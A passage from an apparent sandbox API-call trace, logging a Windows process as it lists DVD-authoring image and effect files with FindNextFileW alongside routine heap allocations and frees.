ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec646ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb46e0 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb66f0 [0065.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.967] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec8a80b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec8a80b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="4to3Squareframe_VideoInset.png", cAlternateFileName="")) returned 1 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4700 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb67f8 [0065.967] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.967] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoy", cAlternateFileName="")) returned 1 [0065.967] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0065.967] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0065.967] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4720 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8268 [0065.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.968] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4740 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb6900 [0065.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.968] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4760 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb6a08 [0065.968] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.968] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0065.968] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4780 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb6b10 [0065.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.969] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb47a0 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3670 [0065.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.969] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb47c0 [0065.969] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3880 [0065.969] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.969] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb47e0 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb3778 [0065.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.970] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4800 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0065.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.970] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.970] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4820 [0065.970] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb8d28 [0065.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.971] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4840 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8400 [0065.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.971] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4860 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8488 [0065.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.971] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.971] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4880 [0065.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8510 [0065.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.972] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0065.972] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Full", cAlternateFileName="")) returned 1 [0065.972] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb48a0 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb8e30 [0065.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.972] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb48c0 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb8f38 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xb00) returned 0xfbcd10 [0065.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0065.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.972] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.972] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.972] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb48e0 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb9040 [0065.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.973] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.973] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0065.973] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0065.973] RtlAllocateHeap 